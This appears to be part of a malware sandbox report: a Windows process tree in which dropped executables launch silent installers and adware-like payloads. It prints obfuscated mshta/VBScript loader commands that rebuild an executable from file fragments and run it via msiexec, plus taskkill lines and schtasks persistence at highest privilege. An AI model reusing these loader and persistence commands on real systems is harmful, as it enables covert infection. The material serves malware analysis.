C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\lHMacbbg17FH7DP92MWtaPGg.exe"C:\Users\Admin\Pictures\Adobe Films\lHMacbbg17FH7DP92MWtaPGg.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"C:\Users\Admin\Pictures\Adobe Films\jM_2VJjb2ZqBNQWW5MzkJhrB.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\v6_Yr1SBbdYbzd3VhkrLVJG0.exe"C:\Users\Admin\Pictures\Adobe Films\v6_Yr1SBbdYbzd3VhkrLVJG0.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\build.exe"C:\Users\Admin\AppData\Local\Temp\build.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\yaMWSZgxYXSGkiaYyQ8_5VWo.exe"C:\Users\Admin\Pictures\Adobe Films\yaMWSZgxYXSGkiaYyQ8_5VWo.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"6⤵
-
C:\Users\Admin\Documents\D09ZoaPqyzavJpqHSv170FHg.exe"C:\Users\Admin\Documents\D09ZoaPqyzavJpqHSv170FHg.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\BQhS3drV_yme3zosQB3IewQC.exe"C:\Users\Admin\Pictures\Adobe Films\BQhS3drV_yme3zosQB3IewQC.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\OJFAH4TWkMSnCwENX9Roettk.exe"C:\Users\Admin\Pictures\Adobe Films\OJFAH4TWkMSnCwENX9Roettk.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6489⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6689⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6249⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 6809⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 8769⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 9209⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 10849⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\QElZDhGokzyVbyYeIzwLyzil.exe"C:\Users\Admin\Pictures\Adobe Films\QElZDhGokzyVbyYeIzwLyzil.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\rTuohZKqUHQrHPUMH7fQTpQp.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "rTuohZKqUHQrHPUMH7fQTpQp.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\sZCcCk1O_nvgMb2AMD_nK6gZ.exe"C:\Users\Admin\Pictures\Adobe Films\sZCcCk1O_nvgMb2AMD_nK6gZ.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\zDupnkzqKYpADTb_FBvLEno7.exe"C:\Users\Admin\Pictures\Adobe Films\zDupnkzqKYpADTb_FBvLEno7.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\Q1gvRtjaz5BRMpcdqV07nt5_.exe"C:\Users\Admin\Pictures\Adobe Films\Q1gvRtjaz5BRMpcdqV07nt5_.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\4959416.exe"C:\Users\Admin\AppData\Roaming\4959416.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\401672.exe"C:\Users\Admin\AppData\Roaming\401672.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\401672.exe"C:\Users\Admin\AppData\Roaming\401672.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\7764353.exe"C:\Users\Admin\AppData\Roaming\7764353.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\6323091.exe"C:\Users\Admin\AppData\Roaming\6323091.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\6323091.exe"C:\Users\Admin\AppData\Roaming\6323091.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\3254510.exe"C:\Users\Admin\AppData\Roaming\3254510.exe"9⤵
-
C:\Users\Admin\Pictures\Adobe Films\bDMek7kpqukTMgB7MxSTg4M9.exe"C:\Users\Admin\Pictures\Adobe Films\bDMek7kpqukTMgB7MxSTg4M9.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-QOK3O.tmp\bDMek7kpqukTMgB7MxSTg4M9.tmp"C:\Users\Admin\AppData\Local\Temp\is-QOK3O.tmp\bDMek7kpqukTMgB7MxSTg4M9.tmp" /SL5="$400A4,506127,422400,C:\Users\Admin\Pictures\Adobe Films\bDMek7kpqukTMgB7MxSTg4M9.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FDEH6.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-FDEH6.tmp\DYbALA.exe" /S /UID=270910⤵
-
C:\Users\Admin\AppData\Local\Temp\22-18e19-e7a-56fb4-8f0f3b505ba1a\Putijuhyre.exe"C:\Users\Admin\AppData\Local\Temp\22-18e19-e7a-56fb4-8f0f3b505ba1a\Putijuhyre.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exe SID=778 CID=778 SILENT=1 /quiet & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exeC:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exe SID=778 CID=778 SILENT=1 /quiet13⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Settings\Settings 1.0.0\install\FD7DF1F\Settings Installation.msi" SID=778 CID=778 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\setting.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\cczqynlp.o2s\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634846891 SID=778 CID=778 SILENT=1 /quiet " SID="778" CID="778"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\swro01fr.sdb\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\swro01fr.sdb\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\swro01fr.sdb\GcleanerEU.exe /eufive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vnm5upsv.ukn\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\vnm5upsv.ukn\installer.exeC:\Users\Admin\AppData\Local\Temp\vnm5upsv.ukn\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yg3p2l5s.lnn\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\yg3p2l5s.lnn\any.exeC:\Users\Admin\AppData\Local\Temp\yg3p2l5s.lnn\any.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jckvswhy.5ko\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\jckvswhy.5ko\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\jckvswhy.5ko\gcleaner.exe /mixfive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lzyyz1ju.ug4\FastPC.exe /verysilent & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\lzyyz1ju.ug4\FastPC.exeC:\Users\Admin\AppData\Local\Temp\lzyyz1ju.ug4\FastPC.exe /verysilent13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5168 -s 166814⤵
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w0rkmmup.bw2\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\w0rkmmup.bw2\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\w0rkmmup.bw2\autosubplayer.exe /S13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmBCFC.tmp\tempfile.ps1"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exe /verysilent & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exeC:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exe /verysilent13⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6T5EU.tmp\FastPC.tmp"C:\Users\Admin\AppData\Local\Temp\is-6T5EU.tmp\FastPC.tmp" /SL5="$403AE,138429,56832,C:\Users\Admin\AppData\Local\Temp\dk1hr0jc.t1s\FastPC.exe" /verysilent14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-O40RK.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-O40RK.tmp\Setup.exe" /Verysilent15⤵
-
C:\Program Files (x86)\FastPc\FastPc\Fast.exe"C:\Program Files (x86)\FastPc\FastPc\Fast.exe"16⤵
-
C:\Program Files (x86)\FastPc\FastPc\Fast_.exe"C:\Program Files (x86)\FastPc\FastPc\Fast_.exe"16⤵
-
C:\Program Files (x86)\FastPc\FastPc\Faster.exe"C:\Program Files (x86)\FastPc\FastPc\Faster.exe"16⤵
-
C:\Program Files (x86)\FastPc\FastPc\13.exe"C:\Program Files (x86)\FastPc\FastPc\13.exe"16⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"17⤵
-
C:\Users\Admin\Pictures\Adobe Films\METe6hXXVzINDO9NXEDj1qD_.exe"C:\Users\Admin\Pictures\Adobe Films\METe6hXXVzINDO9NXEDj1qD_.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\nXCeypKYBB_gKEkxxtVK8cC1.exe"C:\Users\Admin\Pictures\Adobe Films\nXCeypKYBB_gKEkxxtVK8cC1.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x260,0x25c,0x258,0x284,0x254,0x7ff8da9adec0,0x7ff8da9aded0,0x7ff8da9adee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1348,18342729145424247185,17633330919962461285,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8468_552720495" --mojo-platform-channel-handle=1572 /prefetch:811⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"C:\Users\Admin\Pictures\Adobe Films\87Vp0gxHPxuum1RPx6nqBhZ0.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"C:\Users\Admin\Pictures\Adobe Films\90C00JwfxxUyeucTiva1WJI3.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"C:\Users\Admin\Pictures\Adobe Films\oVslUCgDEmYeAyOMJ3vhcs_8.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\fAZGvuuTdiXwWFzy8zBIyDLR.exe"C:\Users\Admin\Pictures\Adobe Films\fAZGvuuTdiXwWFzy8zBIyDLR.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\P6fM8ZjQvXh00jboTr2sV0TY.exe"C:\Users\Admin\Pictures\Adobe Films\P6fM8ZjQvXh00jboTr2sV0TY.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\a7DhJtuuhupbRp1SKhtJuWC1.exe"C:\Users\Admin\Pictures\Adobe Films\a7DhJtuuhupbRp1SKhtJuWC1.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\MJwxzIkmKwc20jIMlF3m1vpr.exe"C:\Users\Admin\Pictures\Adobe Films\MJwxzIkmKwc20jIMlF3m1vpr.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\UrCRSMvxkZrT5td26d3qPZbT.exe"C:\Users\Admin\Pictures\Adobe Films\UrCRSMvxkZrT5td26d3qPZbT.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6767⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6727⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\awwV1wLWM1_emNzdvNWRNf_g.exe"C:\Users\Admin\Pictures\Adobe Films\awwV1wLWM1_emNzdvNWRNf_g.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\lXY3wMaq0RbVWmmtjJ0qtVb_.exe"C:\Users\Admin\Pictures\Adobe Films\lXY3wMaq0RbVWmmtjJ0qtVb_.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\xVcbN9KUv25zjsxIGHKZd4Is.exe"C:\Users\Admin\Pictures\Adobe Films\xVcbN9KUv25zjsxIGHKZd4Is.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\RtVraS_AUomhiGsdAaYsCk_9.exe"C:\Users\Admin\Pictures\Adobe Films\RtVraS_AUomhiGsdAaYsCk_9.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\6756317.exe"C:\Users\Admin\AppData\Roaming\6756317.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\2501258.exe"C:\Users\Admin\AppData\Roaming\2501258.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\1060700.exe"C:\Users\Admin\AppData\Roaming\1060700.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\4069911.exe"C:\Users\Admin\AppData\Roaming\4069911.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2158124.exe"C:\Users\Admin\AppData\Roaming\2158124.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2158124.exe"C:\Users\Admin\AppData\Roaming\2158124.exe"8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat144474a564d26f29.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat144474a564d26f29.exeSat144474a564d26f29.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"C:\Users\Admin\Pictures\Adobe Films\AEHch7pRmkVxa8ICGBxXi35c.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"C:\Users\Admin\Pictures\Adobe Films\T1gkX5D_UbVjuvNW4oukKgMO.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"C:\Users\Admin\Pictures\Adobe Films\wyZjeSoIefWuMYpJGOiTEh4M.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"C:\Users\Admin\Pictures\Adobe Films\x3c69d8vIJrlxztEA_7UTqqb.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"C:\Users\Admin\Pictures\Adobe Films\aEN94bujtGxU3AAu2zD6G2Yx.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"C:\Users\Admin\Pictures\Adobe Films\RlXG3UK0e8IwSRiouoLIXp9X.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"C:\Users\Admin\Pictures\Adobe Films\vUr4yH8ealVSlIm2BWqFHsSc.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\Ts5lp6wv8gXhTTRbunJ_DBUo.exe"C:\Users\Admin\Documents\Ts5lp6wv8gXhTTRbunJ_DBUo.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\SDEsP_lIL929ioiXC8CpVKpn.exe"C:\Users\Admin\Pictures\Adobe Films\SDEsP_lIL929ioiXC8CpVKpn.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\CoJpG1mD6aJIvLoIy7GEwjwM.exe"C:\Users\Admin\Pictures\Adobe Films\CoJpG1mD6aJIvLoIy7GEwjwM.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\7suN8YWf84EgMUegikKOqdN7.exe"C:\Users\Admin\Pictures\Adobe Films\7suN8YWf84EgMUegikKOqdN7.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1136 -s 8729⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\A8rpN85o7pi6Rm7cqXvpH183.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "A8rpN85o7pi6Rm7cqXvpH183.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\vnrLdxTRLSangwTRYGIvvecB.exe"C:\Users\Admin\Pictures\Adobe Films\vnrLdxTRLSangwTRYGIvvecB.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\EQoiq6kuMbJMTU_tbOwtPwPW.exe"C:\Users\Admin\Pictures\Adobe Films\EQoiq6kuMbJMTU_tbOwtPwPW.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\374zxcYkhW5gvt_pJxgl3UXU.exe"C:\Users\Admin\Pictures\Adobe Films\374zxcYkhW5gvt_pJxgl3UXU.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RQ9C5.tmp\374zxcYkhW5gvt_pJxgl3UXU.tmp"C:\Users\Admin\AppData\Local\Temp\is-RQ9C5.tmp\374zxcYkhW5gvt_pJxgl3UXU.tmp" /SL5="$200CE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\374zxcYkhW5gvt_pJxgl3UXU.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NT73C.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-NT73C.tmp\DYbALA.exe" /S /UID=270910⤵
-
C:\Program Files\Microsoft Office\TRBHIHOFOQ\foldershare.exe"C:\Program Files\Microsoft Office\TRBHIHOFOQ\foldershare.exe" /VERYSILENT11⤵
-
C:\Users\Admin\AppData\Local\Temp\53-0fca2-520-38982-71fb3eae940ba\Qodonyxoli.exe"C:\Users\Admin\AppData\Local\Temp\53-0fca2-520-38982-71fb3eae940ba\Qodonyxoli.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vf5pi051.vmc\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\vf5pi051.vmc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\vf5pi051.vmc\GcleanerEU.exe /eufive13⤵
-
